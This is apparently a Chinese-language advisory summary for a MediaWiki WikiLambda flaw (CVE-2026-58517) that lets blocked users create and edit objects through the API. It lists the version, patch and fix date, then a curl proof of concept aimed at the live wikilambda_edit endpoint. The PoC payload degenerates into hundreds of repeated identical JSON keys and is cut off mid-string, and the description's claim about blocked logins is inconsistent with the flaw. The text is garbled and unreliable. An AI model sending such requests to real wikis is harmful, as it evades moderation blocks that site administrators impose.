漏洞概述 漏洞编号: CVE-2026-58517 漏洞描述: 被阻止的用户可以创建和编辑 WikiLambda 对象。 发现者: SomeRandomDeveloper 报告时间: Thu, Jun 11, 1:14 AM 影响范围 受影响系统: MediaWiki 1.47.0-alpha (639cdd) 受影响组件: WikiLambda 扩展 具体影响: 被阻止的用户可以通过 API 创建和编辑 WikiLambda 对象，尽管他们被阻止登录。 修复方案 修复补丁: T428833.patch 修复内容: 在 扩展中添加了手动检查用户阻止状态的逻辑。 修复时间: Wed, Jul 1, 5:32 PM 修复状态: 已解决 POC 代码 ```bash 登录到 alt 账户并执行以下命令 curl -X POST \ 'https://wikilambda.org/w/api.php?action=wikilambda_edit&format=json&summary=Test%20summary&object=%7B%22Z%22%3A%22Z%22%2C%22Z22%22%3A%7B%22Z%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22Z%22%2C%22Z22%22%3A%22